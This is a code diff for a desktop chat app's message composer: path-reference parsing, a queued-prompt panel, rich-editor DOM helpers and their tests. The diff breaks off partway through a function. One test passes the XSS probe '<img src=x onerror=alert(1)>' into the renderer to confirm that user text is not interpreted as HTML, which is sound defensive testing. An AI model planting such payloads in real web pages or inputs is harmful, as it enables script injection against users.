+ *
+ * So the bare token is promoted to its typed form on the way out — the same
+ * shape `url-refs.ts` uses for bare links.
+ */
+import type { KeyboardEvent } from 'react'
+
+import { quoteRefValue, REF_RE, refChipElement, replaceBeforeCaret } from './rich-editor'
+import { textBeforeCaret } from './text-utils'
+
+// A `/` is required, exactly like URL_RE requires an explicit scheme: `@teknium1`
+// and `@diff` are a handle and a simple ref, not paths, and guessing wrong turns
+// someone's name into a file reference. A separator is the cheap signal that the
+// user meant a path. The token also can't start with a `:` kind prefix — that is
+// already a typed ref and REF_RE owns it.
+const BARE_PATH_RE = /(?<![\w@/])@((?!(?:file|folder|url|image|tool|line|terminal|session|git):)[^\s@:]*\/[^\s@:]*)/g
+const TYPED_BARE_PATH_RE = new RegExp(`${BARE_PATH_RE.source}$`)
+
+/** Trailing `/` means a directory — that's how the gateway's completion emits
+ *  folders, and what Tab-descending leaves behind. */
+export function barePathRef(path: string) {
+  const trimmed = path.replace(/\/+$/, '')
+
+  return trimmed ? `@${path.endsWith('/') ? 'folder' : 'file'}:${quoteRefValue(trimmed)}` : null
+}
+
+/** Rewrite bare `@path` tokens as typed `@file:`/`@folder:` directives, leaving
+ *  anything already inside a directive alone. Returns `text` unchanged when
+ *  there are none. */
+export function pathifyRefs(text: string) {
+  if (!text.includes('@')) {
+    return text
+  }
+
+  REF_RE.lastIndex = 0
+
+  const fenced = Array.from(text.matchAll(REF_RE)).map(match => {
+    const start = match.index ?? 0
+
+    return { end: start + match[0].length, start }
+  })
+
+  let out = ''
+  let cursor = 0
+
+  for (const match of text.matchAll(BARE_PATH_RE)) {
+    const start = match.index ?? 0
+    const ref = barePathRef(match[1] || '')
+
+    if (!ref || fenced.some(span => start >= span.start && start < span.end)) {
+      continue
+    }
+
+    out += `${text.slice(cursor, start)}${ref}`
+    cursor = start + match[0].length
+  }
+
+  return out + text.slice(cursor)
+}
+
+/** A plain space finishing a typed `@path` commits it as a chip, so a hand-typed
+ *  path chips the same way a picked one does. Returns whether it ran, so a
+ *  keydown handler can fall through on anything else. */
+export function chipTypedPathOnSpace(event: KeyboardEvent<HTMLDivElement>) {
+  if (event.key !== ' ' || event.metaKey || event.ctrlKey || event.altKey) {
+    return false
+  }
+
+  const editor = event.currentTarget
+
+  // Runs on every space, so bail on the cheap native read before paying for the
+  // caret range walk (same guard shape as the trigger detector).
+  if (!editor.textContent?.includes('@')) {
+    return false
+  }
+
+  const before = textBeforeCaret(editor)
+  const match = before ? TYPED_BARE_PATH_RE.exec(before) : null
+  const token = match?.[0]
+  const ref = match?.[1] ? barePathRef(match[1]) : null
+
+  if (!token || !ref) {
+    return false
+  }
+
+  const directive = ref.match(/^@([^:]+):(.+)$/)
+
+  if (!directive) {
+    return false
+  }
+
+  const fragment = document.createDocumentFragment()
+
+  fragment.append(refChipElement(directive[1], directive[2]), document.createTextNode(' '))
+
+  return replaceBeforeCaret(editor, token.length, fragment)
+}
diff --git a/ui-desktop/src/app/chat/composer/queue-panel.tsx b/ui-desktop/src/app/chat/composer/queue-panel.tsx
new file mode 100644
index 000000000..2f5612efd
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/queue-panel.tsx
@@ -0,0 +1,143 @@
+import { StatusRow } from '@/components/chat/status-row'
+import { StatusSection } from '@/components/chat/status-section'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Tip } from '@/components/ui/tooltip'
+import { type Translations, useI18n } from '@/i18n'
+import { CornerDownLeft, iconSize, Pencil, Trash2 } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import type { QueuedPromptEntry } from '@/store/composer-queue'
+
+interface QueuePanelProps {
+  busy: boolean
+  editingId: null | string
+  entries: QueuedPromptEntry[]
+  onDelete: (id: string) => void
+  onEdit: (entry: QueuedPromptEntry) => void
+  /** Lift a park (explicit Stop/Esc halt) and let the queue flow again. */
+  onResume: () => void
+  onSendNow: (id: string) => void
+  /** True after an explicit halt: entries wait until resumed / sent / edited. */
+  parked: boolean
+}
+
+const entryPreview = (entry: QueuedPromptEntry, c: Translations['composer']) =>
+  (entry.displayText ?? entry.text).trim() || (entry.attachments.length > 0 ? c.attachmentOnly : c.emptyTurn)
+
+export function QueuePanel({
+  busy,
+  editingId,
+  entries,
+  onDelete,
+  onEdit,
+  onResume,
+  onSendNow,
+  parked
+}: QueuePanelProps) {
+  const { t } = useI18n()
+  const c = t.composer
+
+  if (entries.length === 0) {
+    return null
+  }
+
+  return (
+    // Keyed on the park flag: StatusSection owns its collapse state from
+    // defaultCollapsed, so remount on park/unpark. A Stop must EXPAND the
+    // panel — the halted prompts' only presence is here, and leaving them
+    // behind a collapsed "N queued" pill is how they read as vanished.
+    <StatusSection
+      accessory={
+        parked ? (
+          <Tip label={c.queueResumeTip}>
+            <Button
+              className="text-muted-foreground/75 hover:text-foreground/90"
+              onClick={onResume}
+              size="micro"
+              type="button"
+              variant="text"
+            >
+              {c.queueResume}
+            </Button>
+          </Tip>
+        ) : undefined
+      }
+      defaultCollapsed={!parked}
+      icon={<Codicon className="text-muted-foreground/70" name={parked ? 'debug-pause' : 'layers'} size="0.8rem" />}
+      key={parked ? 'parked' : 'flowing'}
+      label={parked ? c.queuedPaused(entries.length) : c.queued(entries.length)}
+    >
+      {entries.map(entry => {
+        const isEditing = editingId === entry.id
+        const attachmentsCount = entry.attachments.length
+
+        return (
+          <StatusRow
+            className={cn(
+              'border border-transparent',
+              isEditing && 'border-[color-mix(in_srgb,var(--dt-composer-ring)_40%,transparent)] bg-accent/25'
+            )}
+            key={entry.id}
+            trailing={
+              <>
+                <Tip label={c.queueEdit}>
+                  <Button
+                    aria-label={c.queueEdit}
+                    className="size-5 rounded-md"
+                    disabled={Boolean(editingId) && !isEditing}
+                    onClick={() => onEdit(entry)}
+                    size="icon-xs"
+                    type="button"
+                    variant="ghost"
+                  >
+                    <Pencil className={iconSize.xs} />
+                  </Button>
+                </Tip>
+                <Tip label={busy ? c.queueSendNext : c.queueSend}>
+                  <Button
+                    aria-label={busy ? c.queueSendNext : c.queueSend}
+                    className="size-5 rounded-md"
+                    disabled={isEditing}
+                    onClick={() => onSendNow(entry.id)}
+                    size="icon-xs"
+                    type="button"
+                    variant="ghost"
+                  >
+                    <CornerDownLeft className={iconSize.xs} />
+                  </Button>
+                </Tip>
+                <Tip label={c.queueDelete}>
+                  <Button
+                    aria-label={c.queueDelete}
+                    className="size-5 rounded-md"
+                    onClick={() => onDelete(entry.id)}
+                    size="icon-xs"
+                    type="button"
+                    variant="ghost"
+                  >
+                    <Trash2 className={iconSize.xs} />
+                  </Button>
+                </Tip>
+              </>
+            }
+            trailingVisible={isEditing}
+          >
+            <div className="min-w-0 flex-1">
+              <p className="truncate text-[0.73rem] leading-4 text-foreground/92">{entryPreview(entry, c)}</p>
+              {(attachmentsCount > 0 || isEditing) && (
+                <div className="mt-0.5 flex items-center gap-1.5 text-[0.64rem] text-muted-foreground/75">
+                  {attachmentsCount > 0 && <span>{c.attachments(attachmentsCount)}</span>}
+                  {isEditing && (
+                    <span className="text-[color-mix(in_srgb,var(--dt-composer-ring)_78%,var(--muted-foreground))]">
+                      {c.editingInComposer}
+                    </span>
+                  )}
+                </div>
+              )}
+            </div>
+          </StatusRow>
+        )
+      })}
+    </StatusSection>
+  )
+}
diff --git a/ui-desktop/src/app/chat/composer/rich-editor.test.ts b/ui-desktop/src/app/chat/composer/rich-editor.test.ts
new file mode 100644
index 000000000..6c3d2f873
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/rich-editor.test.ts
@@ -0,0 +1,382 @@
+import { describe, expect, it } from 'vitest'
+
+import { insertInlineRefsIntoEditor } from './inline-refs'
+import {
+  composerPlainText,
+  deleteSelectionInEditor,
+  insertComposerContentsAtCaret,
+  normalizeComposerEditorDom,
+  refChipElement,
+  renderComposerContents,
+  replaceBeforeCaret,
+  RICH_INPUT_SLOT
+} from './rich-editor'
+
+const caretIn = (editor: HTMLElement) => {
+  const range = document.createRange()
+  const selection = window.getSelection()!
+
+  range.selectNodeContents(editor)
+  range.collapse(false)
+  selection.removeAllRanges()
+  selection.addRange(range)
+}
+
+describe('renderComposerContents', () => {
+  it('renders refs and raw text without interpreting user text as HTML', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+
+    renderComposerContents(editor, '@file:`<img src=x onerror=alert(1)>` <b>raw</b>')
+
+    expect(editor.querySelector('img')).toBeNull()
+    expect(editor.querySelector('b')).toBeNull()
+    expect(editor.textContent).toContain('<img src=x onerror=alert(1)>')
+    expect(editor.textContent).toContain('<b>raw</b>')
+    expect(composerPlainText(editor)).toBe('@file:`<img src=x onerror=alert(1)>` <b>raw</b>')
+  })
+
+  it('hydrates a committed leading slash command back to its pill', () => {
+    // Text-hydration parity with @ refs: a re-render from serialized text
+    // (draft restore, undo, the trigger commit fallback) must not demote a
+    // committed no-arg command chip to plain text.
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+
+    renderComposerContents(editor, '/some-skill @folder:`Desktop` ')
+
+    const pill = editor.querySelector('[data-slash-kind]')
+
+    expect(pill?.getAttribute('data-ref-text')).toBe('/some-skill')
+    expect(editor.querySelector('[data-ref-kind="folder"]')).not.toBeNull()
+    expect(composerPlainText(editor)).toBe('/some-skill @folder:`Desktop` ')
+  })
+
+  it('keeps a still-typed leading slash token as editable text', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+
+    // No trailing whitespace — not committed yet.
+    renderComposerContents(editor, '/some-skil')
+
+    expect(editor.querySelector('[data-slash-kind]')).toBeNull()
+    expect(composerPlainText(editor)).toBe('/some-skil')
+  })
+
+  it('keeps an arg-taking command as text — its tail may be uncommitted prose', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+
+    renderComposerContents(editor, '/goal ship the redesign')
+
+    expect(editor.querySelector('[data-slash-kind]')).toBeNull()
+    expect(composerPlainText(editor)).toBe('/goal ship the redesign')
+  })
+})
+
+describe('replaceBeforeCaret across split text nodes', () => {
+  it('replaces a token that Chromium fragmented into multiple text nodes', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    editor.contentEditable = 'true'
+    document.body.append(editor)
+    editor.append(document.createTextNode('see @Desk'), document.createTextNode('top/'))
+
+    const caret = document.createRange()
+    caret.setStart(editor.lastChild!, 4)
+    caret.collapse(true)
+    const selection = window.getSelection()!
+    selection.removeAllRanges()
+    selection.addRange(caret)
+
+    const fragment = document.createDocumentFragment()
+    fragment.append(refChipElement('folder', '`Desktop`'), document.createTextNode(' '))
+
+    // Token `@Desktop/` (9 chars) spans both text nodes.
+    expect(replaceBeforeCaret(editor, 9, fragment)).toBe(true)
+    expect(composerPlainText(editor)).toBe('see @folder:`Desktop` ')
+
+    editor.remove()
+  })
+
+  it('refuses when a chip interrupts the span — the token is not contiguous text', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    editor.contentEditable = 'true'
+    document.body.append(editor)
+    editor.append(document.createTextNode('a'), refChipElement('file', '`x`'), document.createTextNode('bc'))
+
+    const caret = document.createRange()
+    caret.setStart(editor.lastChild!, 2)
+    caret.collapse(true)
+    const selection = window.getSelection()!
+    selection.removeAllRanges()
+    selection.addRange(caret)
+
+    expect(replaceBeforeCaret(editor, 5, document.createDocumentFragment())).toBe(false)
+    expect(composerPlainText(editor)).toBe('a@file:`x`bc')
+
+    editor.remove()
+  })
+})
+
+describe('normalizeComposerEditorDom', () => {
+  it('unwraps a single insertHTML wrapper div so plain text stays one line', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    editor.innerHTML = '<div><span data-ref-text="@file:`src/foo.ts`" contenteditable="false">foo.ts</span> </div>'
+
+    normalizeComposerEditorDom(editor)
+
+    expect(composerPlainText(editor)).toBe('@file:`src/foo.ts` ')
+    expect(editor.querySelector(':scope > div')).toBeNull()
+  })
+
+  it('removes a trailing br after a ref chip', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    editor.append(refChipElement('file', '`src/foo.ts`'), document.createElement('br'))
+
+    normalizeComposerEditorDom(editor)
+
+    expect(composerPlainText(editor)).toBe('@file:`src/foo.ts`')
+    expect(editor.querySelector('br')).toBeNull()
+  })
+})
+
+describe('insertInlineRefsIntoEditor', () => {
+  it('inserts chips without wrapper divs or spurious newlines', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+
+    insertInlineRefsIntoEditor(editor, ['@file:`src/foo.ts`'])
+
+    expect(editor.querySelector(':scope > div')).toBeNull()
+    expect(composerPlainText(editor)).toBe('@file:`src/foo.ts` ')
+  })
+
+  it('separates a chip from the word the caret sits after', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    editor.append(document.createTextNode('review'))
+    document.body.append(editor)
+    caretIn(editor)
+
+    expect(insertInlineRefsIntoEditor(editor, ['@file:`src/a.ts`'])).toBe('review @file:`src/a.ts` ')
+
+    editor.remove()
+  })
+
+  it('does not double the space when one is already there', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    editor.append(document.createTextNode('review '))
+    document.body.append(editor)
+    caretIn(editor)
+
+    expect(insertInlineRefsIntoEditor(editor, ['@file:`src/a.ts`'])).toBe('review @file:`src/a.ts` ')
+
+    editor.remove()
+  })
+})
+
+describe('insertComposerContentsAtCaret', () => {
+  it('inserts multiline text as text nodes + br', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    document.body.append(editor)
+    caretIn(editor)
+
+    insertComposerContentsAtCaret(editor, 'one\ntwo\nthree')
+
+    expect(editor.querySelectorAll('br').length).toBe(2)
+    expect(composerPlainText(editor)).toBe('one\ntwo\nthree')
+
+    editor.remove()
+  })
+
+  it('replaces the selected span', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    editor.textContent = 'abXYef'
+    document.body.append(editor)
+
+    const text = editor.firstChild!
+    const selection = window.getSelection()!
+    const range = document.createRange()
+
+    range.setStart(text, 2)
+    range.setEnd(text, 4)
+    selection.removeAllRanges()
+    selection.addRange(range)
+
+    insertComposerContentsAtCaret(editor, 'cd')
+
+    expect(composerPlainText(editor)).toBe('abcdef')
+
+    editor.remove()
+  })
+
+  it('lands directives in the text as chips', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    document.body.append(editor)
+    caretIn(editor)
+
+    insertComposerContentsAtCaret(editor, 'read @url:`https://example.dev/a` now')
+
+    expect(editor.querySelectorAll('[data-ref-kind="url"]').length).toBe(1)
+    expect(composerPlainText(editor)).toBe('read @url:`https://example.dev/a` now')
+
+    editor.remove()
+  })
+
+  // A directive typed by hand chips; the same directive pasted has to chip too,
+  // or copy/pasting a prompt silently drops every command in it.
+  it('chips a pasted slash command, including one that ends the paste', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    document.body.append(editor)
+    caretIn(editor)
+
+    insertComposerContentsAtCaret(editor, '/some-skill')
+
+    expect(editor.querySelector('[data-slash-kind]')?.getAttribute('data-ref-text')).toBe('/some-skill')
+    // Committed pills carry the trailing space the typed path appends, so a
+    // later full re-render doesn't read the token as half-typed.
+    expect(composerPlainText(editor)).toBe('/some-skill ')
+
+    editor.remove()
+  })
+
+  it('chips a skill named mid-paste alongside a ref', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    document.body.append(editor)
+    caretIn(editor)
+
+    insertComposerContentsAtCaret(editor, 'clean @file:`a.ts` with /some-skill then ship')
+
+    expect(editor.querySelectorAll('[data-slash-kind]').length).toBe(1)
+    expect(editor.querySelectorAll('[data-ref-kind="file"]').length).toBe(1)
+    expect(composerPlainText(editor)).toBe('clean @file:`a.ts` with /some-skill then ship')
+
+    editor.remove()
+  })
+
+  it('leaves a pasted path alone — /usr/local is not a command', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    document.body.append(editor)
+    caretIn(editor)
+
+    insertComposerContentsAtCaret(editor, 'see /usr/local/bin and /goal ship it')
+
+    expect(editor.querySelector('[data-slash-kind]')).toBeNull()
+    expect(composerPlainText(editor)).toBe('see /usr/local/bin and /goal ship it')
+
+    editor.remove()
+  })
+
+  it('does not chip a command pasted against a word — foo/clean is not a command', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    editor.textContent = 'foo'
+    document.body.append(editor)
+    caretIn(editor)
+
+    insertComposerContentsAtCaret(editor, '/some-skill')
+
+    expect(editor.querySelector('[data-slash-kind]')).toBeNull()
+    expect(composerPlainText(editor)).toBe('foo/some-skill')
+
+    editor.remove()
+  })
+
+  it('chips a command pasted right after an existing chip', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    editor.append(refChipElement('file', '`a.ts`'))
+    document.body.append(editor)
+    caretIn(editor)
+
+    insertComposerContentsAtCaret(editor, '/some-skill')
+
+    expect(editor.querySelector('[data-slash-kind]')).not.toBeNull()
+
+    editor.remove()
+  })
+})
+
+describe('replaceBeforeCaret', () => {
+  it('swaps the token before the caret and leaves the caret after the insert', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    editor.textContent = 'see foo'
+    document.body.append(editor)
+
+    const text = editor.firstChild!
+    const selection = window.getSelection()!
+    const range = document.createRange()
+
+    range.setStart(text, 7)
+    range.collapse(true)
+    selection.removeAllRanges()
+    selection.addRange(range)
+
+    const fragment = document.createDocumentFragment()
+    fragment.append(refChipElement('file', '`src/foo.ts`'), document.createTextNode(' '))
+
+    expect(replaceBeforeCaret(editor, 3, fragment)).toBe(true)
+    expect(composerPlainText(editor)).toBe('see @file:`src/foo.ts` ')
+    expect(selection.getRangeAt(0).collapsed).toBe(true)
+
+    editor.remove()
+  })
+
+  it('leaves the editor alone when the caret has no room for the token', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    editor.textContent = 'hi'
+    document.body.append(editor)
+
+    const selection = window.getSelection()!
+    const range = document.createRange()
+
+    range.setStart(editor.firstChild!, 2)
+    range.collapse(true)
+    selection.removeAllRanges()
+    selection.addRange(range)
+
+    const fragment = document.createDocumentFragment()
+    fragment.append(document.createTextNode('x'))
+
+    expect(replaceBeforeCaret(editor, 20, fragment)).toBe(false)
+    expect(composerPlainText(editor)).toBe('hi')
+
+    editor.remove()
+  })
+})
+
+describe('deleteSelectionInEditor', () => {
+  it('clears a non-collapsed range and leaves a collapsed caret', () => {
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    editor.textContent = 'hello world'
+    document.body.append(editor)
+
+    const selection = window.getSelection()!
+    const range = document.createRange()
+
+    range.selectNodeContents(editor)
+    selection.removeAllRanges()
+    selection.addRange(range)
+
+    expect(deleteSelectionInEditor(editor)).toBe(true)
+    expect(composerPlainText(editor)).toBe('')
+    expect(selection.getRangeAt(0).collapsed).toBe(true)
+    expect(deleteSelectionInEditor(editor)).toBe(false)
+
+    editor.remove()
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/rich-editor.ts b/ui-desktop/src/app/chat/composer/rich-editor.ts
new file mode 100644
index 000000000..a7d8e0406
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/rich-editor.ts
@@ -0,0 +1,774 @@
+/**
+ * Helpers for the contenteditable composer surface: serialize refs to chip
+ * HTML, walk the DOM back to plain `@kind:value` text, and place the caret.
+ *
+ * Chip values are always wrapped in backticks/quotes so REF_RE stops at the
+ * fence — without that, typing after a chip would get re-absorbed on the next
+ * plain-text round-trip.
+ */
+import {
+  directiveIconElement,
+  directiveIconSvg,
+  formatRefValue,
+  refAttrsHtml,
+  refChipLabel,
+  type SlashChipKind,
+  slashIconElement
+} from '@/components/assistant-ui/directive-text'
+import { referenceKind, referenceRe } from '@/components/assistant-ui/reference-kinds'
+
+import { slashCommandMatches, type SlashCommandScanOptions } from './slash-refs'
+
+export const RICH_INPUT_SLOT = 'composer-rich-input'
+
+/** Chromium's litter: editing beside a `contenteditable=false` chip splits the
+ *  line and leaves zero-length text nodes behind. They render as nothing and
+ *  serialize as nothing, so no reader of the editor should count them. */
+function isEmptyTextNode(node: ChildNode | null): boolean {
+  return node?.nodeType === Node.TEXT_NODE && !node.textContent
+}
+
+/** The node before `node`, stepping over that litter. */
+function meaningfulPreviousSibling(node: ChildNode | null): ChildNode | null {
+  let prev = node?.previousSibling ?? null
+
+  while (isEmptyTextNode(prev)) {
+    prev = prev?.previousSibling ?? null
+  }
+
+  return prev
+}
+
+/** The node after `node`, stepping over that litter. */
+function meaningfulNextSibling(node: ChildNode | null): ChildNode | null {
+  let next = node?.nextSibling ?? null
+
+  while (isEmptyTextNode(next)) {
+    next = next?.nextSibling ?? null
+  }
+
+  return next
+}
+
+/** Keep the `data-empty` marker the placeholder paints on in step with the
+ *  editor root's contents.
+ *
+ *  `:empty` can't be the whole test: a cleared editor keeps a scaffolding <br>
+ *  so the contenteditable doesn't collapse, and that break makes `:empty`
+ *  false. Nor can CSS infer it on its own — a text node is invisible to
+ *  selectors, so `one<br>` and a lone `<br>` are the same shape, and
+ *  `:has(> br:only-child)` would paint the placeholder over the user's text.
+ *  The code that empties the editor is what knows, so it marks it.
+ *
+ *  Zero-length text nodes don't count as contents. Chromium leaves them behind
+ *  whenever an edit lands next to a `contenteditable=false` chip, and counting
+ *  them left an editor the user had emptied looking occupied. */
+export function markEditorEmptiness(editor: HTMLElement) {
+  if (Array.from(editor.childNodes).every(isEmptyTextNode)) {
+    editor.dataset.empty = ''
+  } else {
+    delete editor.dataset.empty
+  }
+}
+
+/** Drop the marker as IME composition starts, before any preedit text lands.
+ *
+ *  Input events during composition are deliberately skipped (they carry
+ *  uncommitted preedit text), so nothing else clears the marker until
+ *  `compositionend` — and the hint would otherwise sit behind the hiragana the
+ *  user is composing. `normalizeComposerEditorDom` restores it if composition
+ *  ends with nothing committed. */
+export function beginComposerComposition(editor: HTMLElement) {
+  delete editor.dataset.empty
+}
+
+/** @see referenceRe — the shared pattern every surface recognises a reference
+ *  with. Module-level `/g` regexes carry `lastIndex`, so call sites reset it. */
+export const REF_RE = referenceRe()
+
+const ESC: Record<string, string> = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#039;' }
+
+export function escapeHtml(value: string) {
+  return value.replace(/[&<>"']/g, ch => ESC[ch] || ch)
+}
+
+export function unquoteRef(raw: string) {
+  const head = raw[0]
+  const tail = raw[raw.length - 1]
+  const quoted = (head === '`' && tail === '`') || (head === '"' && tail === '"') || (head === "'" && tail === "'")
+
+  return quoted ? raw.slice(1, -1) : raw.replace(/[,.;!?]+$/, '')
+}
+
+/** Always-quote variant of formatRefValue — chips need a fence even for safe values. */
+export function quoteRefValue(value: string) {
+  if (!value.includes('`')) {
+    return `\`${value}\``
+  }
+
+  if (!value.includes('"')) {
+    return `"${value}"`
+  }
+
+  if (!value.includes("'")) {
+    return `'${value}'`
+  }
+
+  return formatRefValue(value)
+}
+
+export function refChipHtml(kind: string, rawValue: string, displayLabel?: string) {
+  const id = unquoteRef(rawValue)
+  const text = `@${kind}:${quoteRefValue(id)}`
+
+  const label = displayLabel || refChipLabel(kind, id)
+
+  return `<span contenteditable="false" title="${escapeHtml(id)}" data-ref-text="${escapeHtml(text)}" data-ref-id="${escapeHtml(id)}" data-ref-kind="${escapeHtml(kind)}" ${refAttrsHtml(kind)}>${directiveIconSvg(kind)}${escapeHtml(label)}</span>`
+}
+
+export function refChipElement(kind: string, rawValue: string, displayLabel?: string) {
+  const id = unquoteRef(rawValue)
+  const text = `@${kind}:${quoteRefValue(id)}`
+  const chip = document.createElement('span')
+
+  chip.contentEditable = 'false'
+  chip.title = id
+  chip.dataset.refText = text
+  chip.dataset.refId = id
+  chip.dataset.refKind = kind
+  chip.className = 'ref'
+  chip.dataset.ref = referenceKind(kind)
+  chip.append(directiveIconElement(kind), document.createTextNode(displayLabel || refChipLabel(kind, id)))
+
+  return chip
+}
+
+/** A non-editable reference for a picked slash command (`/skin nous`, `/tropes`).
+ *  `data-ref-text` carries the literal command so `composerPlainText` round-trips
+ *  it back to the exact text that gets submitted. */
+export function slashChipElement(command: string, kind: SlashChipKind, label?: string) {
+  const chip = document.createElement('span')
+
+  chip.contentEditable = 'false'
+  chip.dataset.refText = command
+  chip.dataset.slashKind = kind
+  chip.className = 'ref'
+  chip.dataset.ref = kind
+  chip.append(slashIconElement(kind), document.createTextNode(label || command))
+
+  return chip
+}
+
+function appendTextWithBreaks(target: DocumentFragment | HTMLElement, text: string) {
+  const lines = text.split('\n')
+
+  lines.forEach((line, index) => {
+    if (index > 0) {
+      target.append(document.createElement('br'))
+    }
+
+    if (line) {
+      target.append(document.createTextNode(line))
+    }
+  })
+}
+
+/** Every span of `text` that renders as a chip, in source order. */
+function chipSpans(text: string, options: SlashCommandScanOptions) {
+  REF_RE.lastIndex = 0
+
+  const refs = Array.from(text.matchAll(REF_RE)).map(match => {
+    const start = match.index ?? 0
+
+    return { end: start + match[0].length, node: () => refChipElement(match[1] || 'file', match[2] || ''), start }
+  })
+
+  const commands = slashCommandMatches(text, options).map(match => ({
+    end: match.end,
+    node: () => slashChipElement(match.command, match.kind),
+    start: match.start
+  }))
+
+  return [...refs, ...commands].sort((a, b) => a.start - b.start)
+}
+
+/** Build the chip/text DOM for `text`. Directives hydrate back to their pills —
+ *  `@kind:value` refs and `/command` invocations both — so text that arrives
+ *  whole (a paste, a restored draft, an undo step, a rebuilt line) carries the
+ *  same chips the typed path would have committed. */
+export function appendComposerContents(
+  target: DocumentFragment | HTMLElement,
+  text: string,
+  options: SlashCommandScanOptions = {}
+) {
+  let cursor = 0
+
+  for (const span of chipSpans(text, options)) {
+    // A `@` ref wins an overlap: a command token can't contain an `@`, so the
+    // only way spans collide is a slash inside a quoted ref value
+    // (`` @url:`a /clean` ``), which belongs to that value.
+    if (span.start < cursor) {
+      continue
+    }
+
+    appendTextWithBreaks(target, text.slice(cursor, span.start))
+    target.append(span.node())
+    cursor = span.end
+  }
+
+  appendTextWithBreaks(target, text.slice(cursor))
+}
+
+export function renderComposerContents(target: HTMLElement, text: string, options?: SlashCommandScanOptions) {
+  target.replaceChildren()
+
+  // Defaults to live editing, where a token ending the text is still being
+  // typed (`/wor`) and must stay editable. Callers repainting inert text (a
+  // restored draft, a sent message opened for edit) pass `trailingCommitted`.
+  appendComposerContents(target, text, options)
+
+  // The other writer that reshapes the editor root: painting a restored draft
+  // in clears the marker, clearing back to '' sets it.
+  markEditorEmptiness(target)
+}
+
+/** Caret range when the selection lives inside `editor`; else null. */
+function composerSelectionRange(editor: HTMLElement) {
+  const selection = window.getSelection()
+  const range = selection?.rangeCount ? selection.getRangeAt(0) : null
+
+  if (!selection || !range || !editor.contains(range.commonAncestorContainer)) {
+    return null
+  }
+
+  return { range, selection }
+}
+
+/** Serialized text from the editor's start up to (`container`, `offset`).
+ *
+ *  Chips are ATOMIC here: each contributes an object-replacement placeholder
+ *  rather than leaking its label text, and a <br> contributes a newline. That
+ *  makes a chip edge read as a token boundary, which is what both trigger
+ *  detection and directive recognition need. */
+export function serializeTextBefore(editor: HTMLElement, container: Node, offset: number): string {
+  const probe = document.createRange()
+
+  probe.selectNodeContents(editor)
+  probe.setEnd(container, offset)
+
+  const scratch = document.createElement('div')
+
+  scratch.append(probe.cloneContents())
+
+  for (const chip of scratch.querySelectorAll('[data-ref-text]')) {
+    chip.replaceWith('\uFFFC')
+  }
+
+  for (const br of scratch.querySelectorAll('br')) {
+    br.replaceWith('\n')
+  }
+
+  return scratch.textContent ?? ''
+}
+
+/** True when the insertion point starts a token — the editor's start, or after
+ *  whitespace or a chip. `foo` + a pasted `/clean` is `foo/clean`, not a
+ *  command; `foo ` + the same paste is. */
+function atTokenBoundary(editor: HTMLElement, range: Range | null): boolean {
+  // No caret means the insert lands at the end, so the question is about the
+  // editor's last character either way.
+  const before = range
+    ? serializeTextBefore(editor, range.startContainer, range.startOffset)
+    : serializeTextBefore(editor, editor, editor.childNodes.length)
+
+  const last = before.slice(-1)
+
+  return !last || /[\s\uFFFC]/.test(last)
+}
+
+/** Insert text at the caret (replacing any selection), with any directives in
+ *  it landing as chips. Pastes use this instead of `execCommand('insertText')`
+ *  — Chromium's editing pipeline is ~O(n²) on large multiline blobs.
+ *
+ *  The text arrives whole rather than typed, so a `/command` ending it is
+ *  complete rather than half-written and chips like the rest.
+ *
+ *  `consumeBefore` characters immediately before the caret are swallowed by the
+ *  insert. That's how a paste into an open `@url:` scope replaces the scope
+ *  instead of stacking on it (`@url:@url:\`https://…\``). */
+export function insertComposerContentsAtCaret(editor: HTMLElement, text: string, consumeBefore = 0) {
+  const scoped = consumeBefore > 0 ? rangeBeforeCaret(editor, consumeBefore) : null
+
+  if (scoped) {
+    scoped.deleteContents()
+    scoped.collapse(true)
+
+    const selection = window.getSelection()
+
+    selection?.removeAllRanges()
+    selection?.addRange(scoped)
+  }
+
+  const hit = composerSelectionRange(editor)
+  const fragment = document.createDocumentFragment()
+
+  // Before measuring the boundary — a replaced selection puts the insertion
+  // point where the selection started, not where it ended.
+  if (hit) {
+    hit.range.deleteContents()
+  }
+
+  appendComposerContents(fragment, text, {
+    boundaryBefore: atTokenBoundary(editor, hit?.range ?? null),
+    trailingCommitted: true
+  })
+
+  // A slash pill ending the insert gets the trailing space the typed commit
+  // path appends, or the next full re-render reads it as a half-typed token
